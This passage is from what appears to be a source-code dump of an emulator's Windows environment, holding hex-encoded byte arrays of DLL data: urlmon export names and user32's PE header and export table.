\"\\x6C\\x69\\x6E\\x6B\\x47\\x6F\\x42\\x61\\x63\\x6B\\x00\\x48\\x6C\\x69\\x6E\\x6B\" // linkGoBack.Hlink\n/* 7DF224B0  */ \"\\x47\\x6F\\x46\\x6F\\x72\\x77\\x61\\x72\\x64\\x00\\x48\\x6C\\x69\\x6E\\x6B\\x4E\" // GoForward.HlinkN\n/* 7DF224C0  */ \"\\x61\\x76\\x69\\x67\\x61\\x74\\x65\\x4D\\x6F\\x6E\\x69\\x6B\\x65\\x72\\x00\\x48\" // avigateMoniker.H\n/* 7DF224D0  */ \"\\x6C\\x69\\x6E\\x6B\\x4E\\x61\\x76\\x69\\x67\\x61\\x74\\x65\\x53\\x74\\x72\\x69\" // linkNavigateStri\n/* 7DF224E0  */ \"\\x6E\\x67\\x00\\x48\\x6C\\x69\\x6E\\x6B\\x53\\x69\\x6D\\x70\\x6C\\x65\\x4E\\x61\" // ng.HlinkSimpleNa\n/* 7DF224F0  */ \"\\x76\\x69\\x67\\x61\\x74\\x65\\x54\\x6F\\x4D\\x6F\\x6E\\x69\\x6B\\x65\\x72\\x00\" // vigateToMoniker.\n/* 7DF22500  */ \"\\x48\\x6C\\x69\\x6E\\x6B\\x53\\x69\\x6D\\x70\\x6C\\x65\\x4E\\x61\\x76\\x69\\x67\" // HlinkSimpleNavig\n/* 7DF22510  */ \"\\x61\\x74\\x65\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x49\\x6E\\x73\\x74\" // ateToString.Inst\n/* 7DF22520  */ \"\\x61\\x6C\\x6C\\x46\\x6C\\x61\\x73\\x68\\x00\\x49\\x73\\x41\\x73\\x79\\x6E\\x63\" // allFlash.IsAsync\n/* 7DF22530  */ \"\\x4D\\x6F\\x6E\\x69\\x6B\\x65\\x72\\x00\\x49\\x73\\x4A\\x49\\x54\\x49\\x6E\\x50\" // Moniker.IsJITInP\n/* 7DF22540  */ \"\\x72\\x6F\\x67\\x72\\x65\\x73\\x73\\x00\\x49\\x73\\x4C\\x6F\\x67\\x67\\x69\\x6E\" // rogress.IsLoggin\n/* 7DF22550  */ \"\\x67\\x45\\x6E\\x61\\x62\\x6C\\x65\\x64\\x41\\x00\\x49\\x73\\x4C\\x6F\\x67\\x67\" // gEnabledA.IsLogg\n/* 7DF22560  */ \"\\x69\\x6E\\x67\\x45\\x6E\\x61\\x62\\x6C\\x65\\x64\\x57\\x00\\x49\\x73\\x56\\x61\" // ingEnabledW.IsVa\n/* 7DF22570  */ \"\\x6C\\x69\\x64\\x55\\x52\\x4C\\x00\\x4D\\x6B\\x50\\x61\\x72\\x73\\x65\\x44\\x69\" // lidURL.MkParseDi\n/* 7DF22580  */ \"\\x73\\x70\\x6C\\x61\\x79\\x4E\\x61\\x6D\\x65\\x45\\x78\\x00\\x4F\\x62\\x74\\x61\" // splayNameEx.Obta\n/* 7DF22590  */ \"\\x69\\x6E\\x55\\x73\\x65\\x72\\x41\\x67\\x65\\x6E\\x74\\x53\\x74\\x72\\x69\\x6E\" // inUserAgentStrin\n/* 7DF225A0  */ \"\\x67\\x00\\x50\\x72\\x69\\x76\\x61\\x74\\x65\\x43\\x6F\\x49\\x6E\\x73\\x74\\x61\" // g.PrivateCoInsta\n/* 7DF225B0  */ \"\\x6C\\x6C\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x42\\x69\\x6E\\x64\\x53\" // ll.RegisterBindS\n/* 7DF225C0  */ \"\\x74\\x61\\x74\\x75\\x73\\x43\\x61\\x6C\\x6C\\x62\\x61\\x63\\x6B\\x00\\x52\\x65\" // tatusCallback.Re\n/* 7DF225D0  */ \"\\x67\\x69\\x73\\x74\\x65\\x72\\x46\\x6F\\x72\\x6D\\x61\\x74\\x45\\x6E\\x75\\x6D\" // gisterFormatEnum\n/* 7DF225E0  */ \"\\x65\\x72\\x61\\x74\\x6F\\x72\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x4D\" // erator.RegisterM\n/* 7DF225F0  */ \"\\x65\\x64\\x69\\x61\\x54\\x79\\x70\\x65\\x43\\x6C\\x61\\x73\\x73\\x00\\x52\\x65\" // ediaTypeClass.Re\n/* 7DF22600  */ \"\\x67\\x69\\x73\\x74\\x65\\x72\\x4D\\x65\\x64\\x69\\x61\\x54\\x79\\x70\\x65\\x73\" // gisterMediaTypes\n/* 7DF22610  */ \"\\x00\\x52\\x65\\x6C\\x65\\x61\\x73\\x65\\x42\\x69\\x6E\\x64\\x49\\x6E\\x66\\x6F\" // .ReleaseBindInfo\n/* 7DF22620  */ \"\\x00\\x52\\x65\\x76\\x6F\\x6B\\x65\\x42\\x69\\x6E\\x64\\x53\\x74\\x61\\x74\\x75\" // .RevokeBindStatu\n/* 7DF22630  */ \"\\x73\\x43\\x61\\x6C\\x6C\\x62\\x61\\x63\\x6B\\x00\\x52\\x65\\x76\\x6F\\x6B\\x65\" // sCallback.Revoke\n/* 7DF22640  */ \"\\x46\\x6F\\x72\\x6D\\x61\\x74\\x45\\x6E\\x75\\x6D\\x65\\x72\\x61\\x74\\x6F\\x72\" // FormatEnumerator\n/* 7DF22650  */ \"\\x00\\x53\\x65\\x74\\x53\\x6F\\x66\\x74\\x77\\x61\\x72\\x65\\x55\\x70\\x64\\x61\" // .SetSoftwareUpda\n/* 7DF22660  */ \"\\x74\\x65\\x41\\x64\\x76\\x65\\x72\\x74\\x69\\x73\\x65\\x6D\\x65\\x6E\\x74\\x53\" // teAdvertisementS\n/* 7DF22670  */ \"\\x74\\x61\\x74\\x65\\x00\\x55\\x52\\x4C\\x44\\x6F\\x77\\x6E\\x6C\\x6F\\x61\\x64\" // tate.URLDownload\n/* 7DF22680  */ \"\\x41\\x00\\x55\\x52\\x4C\\x44\\x6F\\x77\\x6E\\x6C\\x6F\\x61\\x64\\x54\\x6F\\x43\" // A.URLDownloadToC\n/* 7DF22690  */ \"\\x61\\x63\\x68\\x65\\x46\\x69\\x6C\\x65\\x41\\x00\\x55\\x52\\x4C\\x44\\x6F\\x77\" // acheFileA.URLDow\n/* 7DF226A0  */ \"\\x6E\\x6C\\x6F\\x61\\x64\\x54\\x6F\\x43\\x61\\x63\\x68\\x65\\x46\\x69\\x6C\\x65\" // nloadToCacheFile\n/* 7DF226B0  */ \"\\x57\\x00\\x55\\x52\\x4C\\x44\\x6F\\x77\\x6E\\x6C\\x6F\\x61\\x64\\x54\\x6F\\x46\" // W.URLDownloadToF\n/* 7DF226C0  */ \"\\x69\\x6C\\x65\\x41\\x00\\x55\\x52\\x4C\\x44\\x6F\\x77\\x6E\\x6C\\x6F\\x61\\x64\" // ileA.URLDownload\n/* 7DF226D0  */ \"\\x54\\x6F\\x46\\x69\\x6C\\x65\\x57\\x00\\x55\\x52\\x4C\\x44\\x6F\\x77\\x6E\\x6C\" // ToFileW.URLDownl\n/* 7DF226E0  */ \"\\x6F\\x61\\x64\\x57\\x00\\x55\\x52\\x4C\\x4F\\x70\\x65\\x6E\\x42\\x6C\\x6F\\x63\" // oadW.URLOpenBloc\n/* 7DF226F0  */ \"\\x6B\\x69\\x6E\\x67\\x53\\x74\\x72\\x65\\x61\\x6D\\x41\\x00\\x55\\x52\\x4C\\x4F\" // kingStreamA.URLO\n/* 7DF22700  */ \"\\x70\\x65\\x6E\\x42\\x6C\\x6F\\x63\\x6B\\x69\\x6E\\x67\\x53\\x74\\x72\\x65\\x61\" // penBlockingStrea\n/* 7DF22710  */ \"\\x6D\\x57\\x00\\x55\\x52\\x4C\\x4F\\x70\\x65\\x6E\\x50\\x75\\x6C\\x6C\\x53\\x74\" // mW.URLOpenPullSt\n/* 7DF22720  */ \"\\x72\\x65\\x61\\x6D\\x41\\x00\\x55\\x52\\x4C\\x4F\\x70\\x65\\x6E\\x50\\x75\\x6C\" // reamA.URLOpenPul\n/* 7DF22730  */ \"\\x6C\\x53\\x74\\x72\\x65\\x61\\x6D\\x57\\x00\\x55\\x52\\x4C\\x4F\\x70\\x65\\x6E\" // lStreamW.URLOpen\n/* 7DF22740  */ \"\\x53\\x74\\x72\\x65\\x61\\x6D\\x41\\x00\\x55\\x52\\x4C\\x4F\\x70\\x65\\x6E\\x53\" // StreamA.URLOpenS\n/* 7DF22750  */ \"\\x74\\x72\\x65\\x61\\x6D\\x57\\x00\\x55\\x72\\x6C\\x4D\\x6B\\x42\\x75\\x69\\x6C\" // treamW.UrlMkBuil\n/* 7DF22760  */ \"\\x64\\x56\\x65\\x72\\x73\\x69\\x6F\\x6E\\x00\\x55\\x72\\x6C\\x4D\\x6B\\x47\\x65\" // dVersion.UrlMkGe\n/* 7DF22770  */ \"\\x74\\x53\\x65\\x73\\x73\\x69\\x6F\\x6E\\x4F\\x70\\x74\\x69\\x6F\\x6E\\x00\\x55\" // tSessionOption.U\n/* 7DF22780  */ \"\\x72\\x6C\\x4D\\x6B\\x53\\x65\\x74\\x53\\x65\\x73\\x73\\x69\\x6F\\x6E\\x4F\\x70\" // rlMkSetSessionOp\n/* 7DF22790  */ \"\\x74\\x69\\x6F\\x6E\\x00\\x57\\x72\\x69\\x74\\x65\\x48\\x69\\x74\\x4C\\x6F\\x67\" // tion.WriteHitLog\n/* 7DF227A0  */ \"\\x67\\x69\\x6E\\x67\\x00\\x5A\\x6F\\x6E\\x65\\x73\\x52\\x65\\x49\\x6E\\x69\\x74\" // ging.ZonesReInit\n/* 7DF227B0  */ \"\\x00\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" // .\n/* 7DF227C0  */ \"\\x8B\\xFF\\x55\\x8B\\xEC\\x56\\x57\\x6A\\x00\\xBE\\x05\\x40\\x00\\x80\\xE8\\xFD\" // ÿUìVWj.¾\u0005@.èý\n/* 7DF227D0  */ \"\\xF0\\xFF\\xFF\\x8B\\x7D\\x08\\x85\\xFF\\x0F\\x8C\\xDD\\x19\\x00\\x00\\x83\\xFF\" // ðÿÿ}\bÿ\u000fÝ\u0019..ÿ\n/* 7DF227E0  */ \"\\x13\\x0F\\x83\\xD4\\x19\\x00\\x00\\x8B\\x45\\x0C\\x48\\x0F\\x84\\xA6\\x19\\x00\" // \u0013\u000fÔ\u0019..E.H\u000f¦\u0019.\n/* 7DF227F0  */ \"\\x00\\x48\\x0F\\x85\\x3C\\xC0\\x01\\x00\\x33\\xC0\\x39\\x04\\xBD\\x78\\x31\\xF9\" // .H\u000f<À\u0001.3À9\u0004½x1ù\n/* 7DF22800  */ \"\\x7D\\x0F\\x94\\xC0\\x8B\\xF0\\x85\\xF6\\x0F\\x8C\\xAD\\x19\\x00\\x00\\x5F\\x8B\"; // }\u000fÀðö\u000f­\u0019.._\n\n"
  },
  {
    "path": "src/environment/win32/dlls/user32dll.c",
    "content": "const char user32_7E410000[]= /* pe header and section table -dzzie*/\n/* 7E410000 */   \"\\x4D\\x5A\\x90\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xFF\\xFF\\x00\\x00\"   //MZ..........ÿÿ..\n/* 7E410020 */   \"\\xB8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //........@.......\n/* 7E410040 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 7E410060 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD8\\x00\\x00\\x00\"   //............Ø...\n/* 7E410080 */   \"\\x0E\\x1F\\xBA\\x0E\\x00\\xB4\\x09\\xCD\\x21\\xB8\\x01\\x4C\\xCD\\x21\\x54\\x68\"   //.......Í!..LÍ!Th\n/* 7E4100A0 */   \"\\x69\\x73\\x20\\x70\\x72\\x6F\\x67\\x72\\x61\\x6D\\x20\\x63\\x61\\x6E\\x6E\\x6F\"   //is.program.canno\n/* 7E4100C0 */   \"\\x74\\x20\\x62\\x65\\x20\\x72\\x75\\x6E\\x20\\x69\\x6E\\x20\\x44\\x4F\\x53\\x20\"   //t.be.run.in.DOS.\n/* 7E4100E0 */   \"\\x6D\\x6F\\x64\\x65\\x2E\\x0D\\x0D\\x0A\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //mode....$.......\n/* 7E410100 */   \"\\xFE\\x07\\xE1\\xE2\\xBA\\x66\\x8F\\xB1\\xBA\\x66\\x8F\\xB1\\xBA\\x66\\x8F\\xB1\"   //þ.áâ.f...f...f..\n/* 7E410120 */   \"\\xBA\\x66\\x8E\\xB1\\xF1\\x67\\x8F\\xB1\\x79\\x69\\xD2\\xB1\\xBD\\x66\\x8F\\xB1\"   //.f..ñg..yiÒ..f..\n/* 7E410140 */   \"\\x79\\x69\\xD3\\xB1\\xBB\\x66\\x8F\\xB1\\x79\\x69\\xD1\\xB1\\xBB\\x66\\x8F\\xB1\"   //yiÓ..f..yiÑ..f..\n/* 7E410160 */   \"\\x79\\x69\\x80\\xB1\\xB2\\x66\\x8F\\xB1\\x79\\x69\\xD0\\xB1\\xCD\\x66\\x8F\\xB1\"   //yi...f..yiÐ.Íf..\n/* 7E410180 */   \"\\x79\\x69\\xD5\\xB1\\xBB\\x66\\x8F\\xB1\\x52\\x69\\x63\\x68\\xBA\\x66\\x8F\\xB1\"   //yiÕ..f..Rich.f..\n/* 7E4101A0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x50\\x45\\x00\\x00\\x4C\\x01\\x04\\x00\"   //........PE..L...\n/* 7E4101C0 */   \"\\x1B\\xA1\\x02\\x48\\x5B\\x4C\\x6F\\x72\\x64\\x50\\x45\\x5D\\xE0\\x00\\x0E\\x21\"   //...H[LordPE]à..!\n/* 7E4101E0 */   \"\\x0B\\x01\\x07\\x0A\\x00\\xF4\\x05\\x00\\x00\\xE2\\x02\\x00\\x00\\x00\\x00\\x00\"   //.....ô...â......\n/* 7E410200 */   \"\\x17\\xB2\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xB0\\x05\\x00\\x00\\x00\\x41\\x7E\"   //..............A~\n/* 7E410220 */   \"\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x05\\x00\\x01\\x00\\x05\\x00\\x01\\x00\"   //................\n/* 7E410240 */   \"\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x09\\x00\\x00\\x10\\x00\\x00\"   //................\n/* 7E410260 */   \"\\x76\\xFC\\x08\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x10\\x00\\x00\"   //vü..............\n/* 7E410280 */   \"\\x00\\x00\\x10\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\"   //................\n/* 7E4102A0 */   \"\\x00\\x39\\x00\\x00\\xA9\\x4B\\x00\\x00\\x38\\xE6\\x05\\x00\\x50\\x00\\x00\\x00\"   //.9...K..8æ..P...\n/* 7E4102C0 */   \"\\x00\\x30\\x06\\x00\\x88\\xA0\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //.0..............\n/* 7E4102E0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE0\\x08\\x00\\xE4\\x2D\\x00\\x00\"   //.........à..ä-..\n/* 7E410300 */   \"\\x24\\x02\\x06\\x00\\x38\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //$...8...........\n/* 7E410320 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 7E410340 */   \"\\x10\\xF0\\x03\\x00\\x40\\x00\\x00\\x00\\x70\\x02\\x00\\x00\\x4C\\x00\\x00\\x00\"   //.ð..@...p...L...\n/* 7E410360 */   \"\\x00\\x10\\x00\\x00\\xE4\\x04\\x00\\x00\\x2C\\xE3\\x05\\x00\\xA0\\x00\\x00\\x00\"   //....ä...,ã......\n/* 7E410380 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 7E4103A0 */   \"\\x2E\\x74\\x65\\x78\\x74\\x00\\x00\\x00\\x83\\xF2\\x05\\x00\\x00\\x10\\x00\\x00\"   //.text....ò......\n/* 7E4103C0 */   \"\\x83\\xF2\\x05\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //.ò..............\n/* 7E4103E0 */   \"\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\x60\\x2E\\x64\\x61\\x74\\x61\\x00\\x00\\x00\"   //.......`.data...\n/* 7E410400 */   \"\\x80\\x11\\x00\\x00\\x00\\x10\\x06\\x00\\x80\\x11\\x00\\x00\\x00\\x10\\x06\\x00\"   //................\n/* 7E410420 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\xC0\"   //............@..À\n/* 7E410440 */   \"\\x2E\\x72\\x73\\x72\\x63\\x00\\x00\\x00\\x88\\xA0\\x02\\x00\\x00\\x30\\x06\\x00\"   //.rsrc........0..\n/* 7E410460 */   \"\\x88\\xA0\\x02\\x00\\x00\\x30\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //.....0..........\n/* 7E410480 */   \"\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x40\\x2E\\x72\\x65\\x6C\\x6F\\x63\\x00\\x00\"   //....@..@.reloc..\n/* 7E4104A0 */   \"\\xE4\\x2D\\x00\\x00\\x00\\xE0\\x08\\x00\\xE4\\x2D\\x00\\x00\\x00\\xE0\\x08\\x00\"   //ä-...à..ä-...à..\n/* 7E4104C0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x42\"   //............@..B\n/* 7E4104E0 */   \"\\xBE\\xA0\\x02\\x48\\x28\\x00\\x00\\x00\\x2C\\xA1\\x02\\x48\\x32\\x00\\x01\\x00\"   //...H(...,..H2...\n/* 7E410500 */   \"\\x2C\\xA1\\x02\\x48\\x3F\\x00\\x00\\x00\\x2C\\xA1\\x02\\x48\\x3F\\x00\\x00\\x00\"   //,..H?...,..H?...\n/* 7E410520 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x47\\x44\\x49\\x33\\x32\\x2E\\x64\\x6C\"   //........GDI32.dl\n/* 7E410540 */   \"\\x6C\\x00\\x4B\\x45\\x52\\x4E\\x45\\x4C\\x33\\x32\\x2E\\x64\\x6C\\x6C\\x00\\x4E\"   //l.KERNEL32.dll.N\n/* 7E410560 */   \"\\x54\\x44\\x4C\\x4C\\x2E\\x44\\x4C\\x4C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //TDLL.DLL........\n/* 7E410580 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 7E4105A0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\";   //................\n\nconst char user32_7e413900[]= /* export table -dzzie*/\n/* 7E413900 */   \"\\x00\\x00\\x00\\x00\\x7A\\x5D\\x02\\x48\\x00\\x00\\x00\\x00\\xC0\\x55\\x00\\x00\"   //....z].H....ÀU..\n/* 7E413920 */   \"\\x01\\x00\\x00\\x00\\xDC\\x02\\x00\\x00\\xDC\\x02\\x00\\x00\\x28\\x39\\x00\\x00\"   //....Ü...Ü...(9..\n/* 7E413940 */   \"\\x98\\x44\\x00\\x00\\x08\\x50\\x00\\x00\\x73\\x86\\x01\\x00\\x40\\x11\\x02\\x00\"   //.D...P..s...@...\n/* 7E413960 */   \"\\xEA\\xE7\\x01\\x00\\xE0\\xD4\\x05\\x00\\x14\\x64\\x04\\x00\\x40\\x1E\\x01\\x00\"   //êç..àÔ...d..@...\n/* 7E413980 */   \"\\x56\\x21\\x01\\x00\\x27\\x9C\\x05\\x00\\x0E\\x1B\\x02\\x00\\xBA\\x32\\x01\\x00\"   //V!..'........2..\n/* 7E4139A0 */   \"\\x46\\x5F\\x04\\x00\\x52\\x1E\\x02\\x00\\xB9\\xAF\\x01\\x00\\xE9\\x8F\\x01\\x00\"   //F_..R.......é...\n/* 7E4139C0 */   \"\\x7E\\xCA\\x05\\x00\\xA8\\x03\\x02\\x00\\xBE\\xAE\\x05\\x00\\xBE\\xAE\\x05\\x00\"   //~Ê..............\n/* 7E4139E0 */   \"\\x97\\xAE\\x05\\x00\\x54\\x36\\x01\\x00\\x66\\xE6\\x00\\x00\\xF6\\x7D\\x05\\x00\"   //....T6..fæ..ö}..\n/* 7E413A00 */   \"\\xE4\\xC5\\x01\\x00\\x16\\xB2\\x05\\x00\\x16\\xB2\\x05\\x00\\x0E\\x75\\x01\\x00\"   //äÅ...........u..\n/* 7E413A20 */   \"\\xC6\\xB3\\x01\\x00\\x7D\\xA9\\x01\\x00\\x1E\\xA0\\x01\\x00\\x5E\\x5F\\x04\\x00\"   //Æ...}.......^_..\n/* 7E413A40 */   \"\\x39\\x50\\x05\\x00\\x87\\x04\\x02\\x00\\x00\\xB4\\x05\\x00\\x4E\\x38\\x01\\x00\"   //9P..........N8..\n/* 7E413A60 */   \"\\xBD\\x95\\x04\\x00\\x23\\x96\\x04\\x00\\x98\\xF2\\x03\\x00\\x5E\\x52\\x05\\x00\"   //....#....ò..^R..\n/* 7E413A80 */   \"\\x17\\x87\\x01\\x00\\x45\\x88\\x01\\x00\\x57\\x9E\\x00\\x00\\x4C\\xB2\\x01\\x00\"   //....E...W...L...\n/* 7E413AA0 */   \"\\xB0\\xC8\\x01\\x00\\x4E\\x98\\x05\\x00\\xB0\\xB1\\x01\\x00\\xDA\\xC8\\x01\\x00\"   //.È..N.......ÚÈ..\n/* 7E413AC0 */   \"\\x82\\x98\\x05\\x00\\x07\\xD6\\x01\\x00\\xF1\\xAE\\x00\\x00\\x26\\x16\\x02\\x00\"   //.....Ö..ñ...&...\n/* 7E413AE0 */   \"\\x31\\x6E\\x05\\x00\\x67\\x34\\x01\\x00\\x2B\\x8D\\x00\\x00\\x3F\\xAE\\x00\\x00\"   //1n..g4..+...?...\n/* 7E413B00 */   \"\\x16\\x92\\x00\\x00\\xD2\\x90\\x00\\x00\\xCA\\x4D\\x01\\x00\\xBD\\x1A\\x02\\x00\"   //....Ò...ÊM......\n/* 7E413B20 */   \"\\xA2\\x53\\x05\\x00\\xE1\\xBD\\x04\\x00\\x1F\\x20\\x01\\x00\\x0B\\x20\\x01\\x00\"   //.S..á...........\n/* 7E413B40 */   \"\\x33\\x3C\\x04\\x00\\x0A\\xA0\\x00\\x00\\x60\\x9B\\x01\\x00\\xC5\\xFD\\x02\\x00\"   //3<......`...Åý..\n/* 7E413B60 */   \"\\x65\\x02\\x02\\x00\\x2F\\x81\\x01\\x00\\x7F\\x5F\\x04\\x00\\x18\\x7D\\x01\\x00\"   //e.../...._...}..\n/* 7E413B80 */   \"\\x91\\x6C\\x04\\x00\\x5E\\xFC\\x03\\x00\\x72\\xDE\\x00\\x00\\x14\\xDC\\x01\\x00\"   //.l..^ü..rÞ...Ü..\n/* 7E413BA0 */   \"\\x42\\xA0\\x01\\x00\\x7F\\x16\\x02\\x00\\x97\\x34\\x04\\x00\\xBB\\xD9\\x00\\x00\"   //B........4...Ù..\n/* 7E413BC0 */   \"\\x4E\\xA9\\x01\\x00\\x59\\x70\\x04\\x00\\x37\\x5E\\x04\\x00\\x2A\\x16\\x01\\x00\"   //N...Yp..7^..*...\n/* 7E413BE0 */   \"\\x28\\x9B\\x02\\x00\\x0B\\x68\\x01\\x00\\x1F\\xF0\\x02\\x00\\xDB\\xC7\\x02\\x00\"   //(....h...ð..ÛÇ..\n/* 7E413C00 */   \"\\x3B\\xEA\\x00\\x00\\xBC\\x70\\x04\\x00\\x34\\x71\\x04\\x00\\x54\\xD3\\x00\\x00\"   //;ê...p..4q..TÓ..\n/* 7E413C20 */   \"\\x6C\\xC8\\x00\\x00\\xC0\\xFD\\x03\\x00\\x10\\xF8\\x02\\x00\\x06\\xF3\\x01\\x00\"   //lÈ..Àý...ø...ó..\n/* 7E413C40 */   \"\\x01\\xF6\\x00\\x00\\xE8\\x16\\x02\\x00\\xA9\\xE4\\x01\\x00\\xA3\\xD0\\x01\\x00\"   //.ö..è....ä...Ð..\n/* 7E413C60 */   \"\\x2E\\x64\\x04\\x00\\xDD\\x13\\x01\\x00\\x7B\\x36\\x01\\x00\\xE2\\xE9\\x00\\x00\"   //.d..Ý...{6..âé..\n/* 7E413C80 */   \"\\x84\\xAD\\x05\\x00\\x09\\x13\\x05\\x00\\xD1\\x10\\x05\\x00\\xA2\\xA6\\x05\\x00\"   //........Ñ.......\n/* 7E413CA0 */   \"\\x8D\\x1D\\x05\\x00\\xC3\\x81\\x04\\x00\\xDE\\x84\\x04\\x00\\x69\\x17\\x05\\x00\"   //....Ã...Þ...i...\n/* 7E413CC0 */   \"\\x43\\x1E\\x05\\x00\\x47\\x04\\x01\\x00\\xC4\\x83\\x04\\x00\\x3B\\x84\\x04\\x00\"   //C...G...Ä...;...\n/* 7E413CE0 */   \"\\x12\\x52\\x04\\x00\\xE2\\x18\\x05\\x00\\x70\\x1F\\x05\\x00\\xF1\\x11\\x05\\x00\"   //.R..â...p...ñ...\n/* 7E413D00 */   \"\\x53\\xA8\\x04\\x00\\xA6\\xCA\\x05\\x00\\x94\\xA8\\x04\\x00\\xF6\\xA8\\x04\\x00\"   //S....Ê......ö...\n/* 7E413D20 */   \"\\xD7\\x06\\x01\\x00\\x0A\\x20\\x05\\x00\\x5E\\x08\\x01\\x00\\xA5\\xA3\\x05\\x00\"   //×.......^.......\n/* 7E413D40 */   \"\\xA6\\xAB\\x05\\x00\\xAC\\x79\\x04\\x00\\x96\\x20\\x05\\x00\\xB3\\x20\\x05\\x00\"   //.....y..........\n/* 7E413D60 */   \"\\x6B\\x82\\x04\\x00\\xBA\\xCA\\x05\\x00\\x29\\xAD\\x05\\x00\\x7B\\x13\\x05\\x00\"   //k....Ê..)...{...\n/* 7E413D80 */   \"\\x32\\xA7\\x04\\x00\\x77\\xE5\\x02\\x00\\x3A\\x3D\\x01\\x00\\x65\\xF9\\x03\\x00\"   //2...wå..:=..eù..\n/* 7E413DA0 */   \"\\x33\\x08\\x02\\x00\\xB4\\xF9\\x03\\x00\\x47\\x0A\\x02\\x00\\xDD\\x68\\x04\\x00\"   //3....ù..G...Ýh..\n/* 7E413DC0 */   \"\\x7E\\xC1\\x01\\x00\\x20\\x8D\\x01\\x00\\xDB\\xAF\\x01\\x00\\xD3\\xCE\\x01\\x00\"   //~Á......Û...ÓÎ..\n/* 7E413DE0 */   \"\\xC0\\x02\\x03\\x00\\x8D\\xFE\\x02\\x00\\x0E\\x9C\\x01\\x00\\x12\\xD3\\x01\\x00\"   //À....þ.......Ó..\n/* 7E413E00 */   \"\\x12\\xD3\\x01\\x00\\x9D\\xD3\\x01\\x00\\xD8\\x7E\\x05\\x00\\x9C\\xB1\\x01\\x00\"   //.Ó...Ó..Ø~......\n/* 7E413E20 */   \"\\xF8\\xA0\\x04\\x00\\x7D\\x6D\\x04\\x00\\xD0\\x49\\x01\\x00\\x72\\x20\\x02\\x00\"   //ø...}m..ÐI..r...\n/* 7E413E40 */   \"\\x44\\xB1\\x02\\x00\\xAB\\x47\\x01\\x00\\x21\\x64\\x04\\x00\\xB8\\x96\\x00\\x00\"   //D....G..!d......\n/* 7E413E60 */   \"\\x01\\x8A\\x00\\x00\\x91\\x9F\\x04\\x00\\xDF\\x38\\x05\\x00\\x99\\x75\\x04\\x00\"   //........ß8...u..\n/* 7E413E80 */   \"\\x26\\x76\\x04\\x00\\x6D\\x39\\x05\\x00\\x57\\x76\\x04\\x00\\x43\\x75\\x04\\x00\"   //&v..m9..Wv..Cu..\n/* 7E413EA0 */   \"\\xFE\\x3A\\x05\\x00\\x64\\x3B\\x05\\x00\\xCE\\xCA\\x05\\x00\\xE2\\xCA\\x05\\x00\"   //þ:..d;..ÎÊ..âÊ..\n/* 7E413EC0 */   \"\\xF6\\xCA\\x05\\x00\\x9F\\x6D\\x05\\x00\\xD0\\xB2\\x05\\x00\\x39\\xF3\\x03\\x00\"   //öÊ...m..Ð...9ó..\n/* 7E413EE0 */   \"\\xF6\\xFB\\x01\\x00\\x4F\\xF9\\x01\\x00\\xC4\\x29\\x02\\x00\\x40\\xE9\\x02\\x00\"   //öû..Où..Ä)..@é..\n/* 7E413F00 */   \"\\x6C\\xD0\\x02\\x00\\x84\\xCB\\x01\\x00\\x9C\\xF6\\x03\\x00\\x6D\\x53\\x05\\x00\"   //lÐ...Ë...ö..mS..\n/* 7E413F20 */   \"\\x00\\xF1\\x03\\x00\\xBB\\x45\\x01\\x00\\x02\\xC7\\x02\\x00\\x39\\xC7\\x02\\x00\"   //.ñ...E...Ç..9Ç..\n/* 7E413F40 */   \"\\x15\\xB4\\x01\\x00\\xE2\\xD7\\x01\\x00\\x00\\x30\\x02\\x00\\x96\\x0D\\x02\\x00\"   //....â×...0......\n/* 7E413F60 */   \"\\xC4\\xD2\\x01\\x00\\x05\\x80\\x05\\x00\\x49\\x98\\x01\\x00\\x8D\\xAF\\x01\\x00\"   //ÄÒ......I.......\n/* 7E413F80 */   \"\\x4E\\x4A\\x01\\x00\\x5A\\xCB\\x05\\x00\\xFD\\x8F\\x01\\x00\\xA5\\xA0\\x04\\x00\"   